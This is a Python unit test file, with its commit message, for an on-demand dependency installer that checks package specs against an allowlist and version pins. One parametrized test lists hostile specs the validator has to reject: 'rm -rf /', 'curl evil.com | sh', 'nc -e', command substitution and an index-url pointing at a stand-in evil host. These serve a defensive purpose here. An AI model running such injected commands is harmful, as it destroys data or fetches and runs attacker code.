hermes-agent/tests/tools/test_lazy_deps.py
Teknium 72b5dd8658
fix(update): refresh lazy-installed backends on hermes update (#25766)
Pyproject's [all] extra was slimmed down in May 2026 — ~20 optional
backends moved to tools/lazy_deps.py and only install on first use.
hermes update runs uv pip install -e .[all] which doesn't touch any of
them, so pin bumps in LAZY_DEPS (CVE response, transitive fixes) were
silently ignored on already-activated backends.

Two changes:

1. _is_satisfied() now parses the spec and checks the installed version
   against the constraint via packaging.specifiers. Previously it
   returned True the moment the package name was importable, which made
   ensure() a name-presence gate rather than a version-pin gate.

2. New active_features() / refresh_active_features() pair: lists every
   feature with at least one of its packages currently installed, then
   re-runs ensure() on each. Refresh is invoked at the end of
   _cmd_update_impl, right after the [all] install completes. Cold
   backends (never activated) stay quiet — no churn for them.

Output during update is one summary block:
  → Refreshing 4 active lazy backend(s)...
    ↑ 1 refreshed: provider.anthropic
    ✓ 3 already current
or
    ⚠ memory.honcho failed to refresh: <pip stderr>

Failures never raise out of update — backends keep their previously-
installed version and we tell the user to rerun once upstream is fixed.
security.allow_lazy_installs=false is honored: features get marked
"skipped" with the reason shown.

Tests: 18 new unit tests covering version-aware satisfaction (exact pin,
range, extras blocks, missing package, malformed spec), active feature
discovery, and refresh status reporting. All 61 lazy_deps tests pass.
2026-05-14 08:03:40 -07:00

407 lines
17 KiB
Python

"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer.
The lazy_deps module is the architectural fix for the "one quarantined
package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)``
which only installs from a strict allowlist, refuses anything that looks
like a URL / file path, runs venv-scoped, and respects the
``security.allow_lazy_installs`` config flag.
These tests cover the security boundary and the public API. The real pip
call is mocked — we never actually shell out during unit tests.
"""
from __future__ import annotations
from typing import Iterator
import pytest
import tools.lazy_deps as ld
# ---------------------------------------------------------------------------
# Spec safety
# ---------------------------------------------------------------------------
class TestSpecSafety:
@pytest.mark.parametrize("spec", [
"mistralai>=2.3.0,<3",
"elevenlabs>=1.0,<2",
"honcho-ai>=2.0.1,<3",
"boto3>=1.35.0,<2",
"mautrix[encryption]>=0.20,<1",
"google-api-python-client>=2.100,<3",
"youtube-transcript-api>=1.2.0",
"qrcode>=7.0,<8",
"package", # bare name, no version
"package==1.0.0",
"package~=1.0",
])
def test_safe_specs_pass(self, spec):
assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe"
@pytest.mark.parametrize("spec", [
# URL-shaped → rejected (no remote origin override allowed)
"git+https://github.com/foo/bar.git",
"https://example.com/foo.tar.gz",
# File path → rejected
"/etc/passwd",
"./local-malware",
"../escape",
# Shell metacharacters → rejected
"package; rm -rf /",
"package && curl evil.com | sh",
"package`whoami`",
"package$(whoami)",
"package|nc -e",
# Pip flag injection → rejected
"--index-url=http://evil/",
"-r requirements.txt",
# Whitespace control chars → rejected
"package\nshell-injection",
"package\rmore",
# Empty / overly long → rejected
"",
"x" * 500,
])
def test_unsafe_specs_rejected(self, spec):
assert not ld._spec_is_safe(spec), \
f"expected {spec!r} to be rejected"
# ---------------------------------------------------------------------------
# Allowlist enforcement
# ---------------------------------------------------------------------------
class TestAllowlist:
def test_unknown_feature_raises(self, monkeypatch):
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"):
ld.ensure("not.a.real.feature")
def test_lazy_deps_keys_use_namespace_dot_name(self):
# Sanity check on the data shape — every key should be at least
# one dot-separated namespace.
for key in ld.LAZY_DEPS:
assert "." in key, f"feature {key!r} should be namespace.name"
def test_every_lazy_dep_spec_passes_safety(self):
# Defence in depth — even though specs are author-controlled,
# the safety regex must accept everything we ship.
for feature, specs in ld.LAZY_DEPS.items():
for spec in specs:
assert ld._spec_is_safe(spec), \
f"{feature}: spec {spec!r} fails safety check"
def test_feature_install_command_returns_pip_invocation(self):
cmd = ld.feature_install_command("memory.honcho")
assert cmd is not None
assert cmd.startswith("uv pip install")
assert "honcho-ai" in cmd
def test_feature_install_command_unknown(self):
assert ld.feature_install_command("not.real") is None
# ---------------------------------------------------------------------------
# allow_lazy_installs gating
# ---------------------------------------------------------------------------
class TestSecurityGating:
def test_disabled_via_config_raises(self, monkeypatch):
# Pretend honcho is missing AND lazy installs are disabled.
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"):
ld.ensure("test.feat", prompt=False)
def test_disabled_via_env_var(self, monkeypatch):
monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1")
# Bypass config layer; the env var alone must disable.
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: {"security": {"allow_lazy_installs": True}},
)
assert ld._allow_lazy_installs() is False
def test_default_allows(self, monkeypatch):
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: {"security": {}},
)
assert ld._allow_lazy_installs() is True
def test_config_failure_fails_open(self, monkeypatch):
# If config can't be read at all, we ALLOW installs rather than
# blocking the user out of their own backends.
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: (_ for _ in ()).throw(RuntimeError("config broken")),
)
assert ld._allow_lazy_installs() is True
# ---------------------------------------------------------------------------
# ensure() happy/sad paths
# ---------------------------------------------------------------------------
class TestEnsure:
def test_already_satisfied_is_noop(self, monkeypatch):
# If the package is importable, ensure() returns without calling pip.
monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
# If pip were called, this would fail loudly.
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda *a, **kw: pytest.fail("pip should not be called"),
)
ld.ensure("test.satisfied", prompt=False) # no exception
def test_install_success_path(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",))
# First check sees missing, post-install check sees installed.
call_count = {"n": 0}
def fake_satisfied(spec):
call_count["n"] += 1
return call_count["n"] > 1 # missing first, installed after
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
)
ld.ensure("test.install", prompt=False)
def test_install_failure_surfaces_pip_stderr(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(
False, "", "ERROR: package not found on PyPI"
),
)
with pytest.raises(ld.FeatureUnavailable, match="pip install failed"):
ld.ensure("test.fail", prompt=False)
def test_install_succeeds_but_still_missing_raises(self, monkeypatch):
# Pip says success but the package still isn't importable
# (e.g. site-packages caching, wrong python). Surface this.
monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
)
with pytest.raises(ld.FeatureUnavailable, match="still not importable"):
ld.ensure("test.cache", prompt=False)
# ---------------------------------------------------------------------------
# is_available
# ---------------------------------------------------------------------------
class TestIsAvailable:
def test_unknown_feature_returns_false(self):
assert ld.is_available("not.a.thing") is False
def test_satisfied_returns_true(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
assert ld.is_available("test.avail") is True
def test_missing_returns_false(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
assert ld.is_available("test.miss") is False
# ---------------------------------------------------------------------------
# Version-aware _is_satisfied (Piece B — "stale pin" detection)
#
# The original implementation returned True the moment the package name
# was importable, ignoring the spec's version range. That meant pin bumps
# in LAZY_DEPS never propagated to users who already lazy-installed the
# backend at an older version. _is_satisfied now parses the spec and
# checks the installed version against the constraint.
# ---------------------------------------------------------------------------
class TestIsSatisfiedVersionAware:
def _fake_version(self, monkeypatch, installed_versions: dict):
"""Patch importlib.metadata.version() inside lazy_deps."""
from importlib.metadata import PackageNotFoundError
def _version(pkg):
if pkg in installed_versions:
return installed_versions[pkg]
raise PackageNotFoundError(pkg)
# Patch at the import site lazy_deps uses (inside the function).
import importlib.metadata as _md
monkeypatch.setattr(_md, "version", _version)
def test_exact_pin_match_returns_true(self, monkeypatch):
self._fake_version(monkeypatch, {"honcho-ai": "2.0.1"})
assert ld._is_satisfied("honcho-ai==2.0.1") is True
def test_exact_pin_mismatch_returns_false(self, monkeypatch):
# Installed 2.0.0, spec requires 2.0.1 → False (needs upgrade).
self._fake_version(monkeypatch, {"honcho-ai": "2.0.0"})
assert ld._is_satisfied("honcho-ai==2.0.1") is False
def test_range_within_returns_true(self, monkeypatch):
self._fake_version(monkeypatch, {"slack-bolt": "1.27.0"})
assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is True
def test_range_above_returns_false(self, monkeypatch):
# Installed too new for the upper bound.
self._fake_version(monkeypatch, {"slack-bolt": "2.0.0"})
assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is False
def test_range_below_returns_false(self, monkeypatch):
self._fake_version(monkeypatch, {"slack-bolt": "1.0.0"})
assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is False
def test_package_not_installed_returns_false(self, monkeypatch):
self._fake_version(monkeypatch, {})
assert ld._is_satisfied("anthropic==0.86.0") is False
def test_bare_package_name_presence_is_enough(self, monkeypatch):
# No version constraint — presence alone counts as satisfied.
self._fake_version(monkeypatch, {"somepkg": "1.0.0"})
assert ld._is_satisfied("somepkg") is True
def test_extras_block_in_spec_is_stripped(self, monkeypatch):
# mautrix[encryption]==0.21.0 — the [encryption] block must not
# confuse the specifier parser.
self._fake_version(monkeypatch, {"mautrix": "0.21.0"})
assert ld._is_satisfied("mautrix[encryption]==0.21.0") is True
def test_extras_block_mismatch_returns_false(self, monkeypatch):
self._fake_version(monkeypatch, {"mautrix": "0.20.0"})
assert ld._is_satisfied("mautrix[encryption]==0.21.0") is False
# ---------------------------------------------------------------------------
# active_features + refresh_active_features (Piece A — hermes update wiring)
# ---------------------------------------------------------------------------
class TestActiveFeatures:
def test_no_packages_installed_returns_empty(self, monkeypatch):
monkeypatch.setattr(ld, "_is_present", lambda spec: False)
assert ld.active_features() == []
def test_finds_features_with_at_least_one_package_installed(self, monkeypatch):
# Pretend only honcho-ai is installed; nothing else.
monkeypatch.setattr(
ld, "_is_present",
lambda spec: ld._pkg_name_from_spec(spec) == "honcho-ai",
)
active = ld.active_features()
assert "memory.honcho" in active
# Backends the user never enabled stay quiet.
assert "memory.hindsight" not in active
assert "platform.slack" not in active
def test_multi_package_feature_active_if_any_present(self, monkeypatch):
# platform.slack has 3 packages; only one needs to be present
# for the feature to count as active (user activated it before,
# one transitive may have been uninstalled separately).
monkeypatch.setattr(
ld, "_is_present",
lambda spec: ld._pkg_name_from_spec(spec) == "slack-bolt",
)
assert "platform.slack" in ld.active_features()
class TestRefreshActiveFeatures:
def test_no_active_features_returns_empty(self, monkeypatch):
monkeypatch.setattr(ld, "active_features", lambda: [])
assert ld.refresh_active_features() == {}
def test_already_current_is_noop(self, monkeypatch):
monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"])
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==1.0.0",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
# If pip were called, this would fail loudly.
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda *a, **kw: pytest.fail("pip should not be called"),
)
result = ld.refresh_active_features()
assert result == {"test.feat": "current"}
def test_stale_pin_triggers_reinstall(self, monkeypatch):
monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"])
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==2.0.0",))
# First _is_satisfied check (in feature_missing) says no; after
# install, post-install check says yes.
states = iter([False, True])
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: next(states))
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
)
result = ld.refresh_active_features()
assert result == {"test.feat": "refreshed"}
def test_install_failure_recorded_not_raised(self, monkeypatch):
# A failed refresh must NOT raise out of hermes update.
monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"])
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==2.0.0",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(
False, "", "ERROR: PyPI 404 quarantine"
),
)
result = ld.refresh_active_features()
assert "test.feat" in result
assert result["test.feat"].startswith("failed:")
assert "404 quarantine" in result["test.feat"]
def test_lazy_installs_disabled_marked_skipped(self, monkeypatch):
# security.allow_lazy_installs=false → don't error, mark skipped
# so hermes update can render "respecting your config" message.
monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"])
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==2.0.0",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
result = ld.refresh_active_features()
assert "test.feat" in result
assert result["test.feat"].startswith("skipped:")
def test_mixed_results_returns_per_feature_status(self, monkeypatch):
monkeypatch.setattr(ld, "active_features", lambda: ["a.ok", "b.fail"])
monkeypatch.setitem(ld.LAZY_DEPS, "a.ok", ("pkga==1.0",))
monkeypatch.setitem(ld.LAZY_DEPS, "b.fail", ("pkgb==1.0",))
# a.ok: already satisfied → "current"
# b.fail: missing + install fails → "failed:"
def fake_satisfied(spec):
return ld._pkg_name_from_spec(spec) == "pkga"
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(False, "", "nope"),
)
result = ld.refresh_active_features()
assert result["a.ok"] == "current"
assert result["b.fail"].startswith("failed:")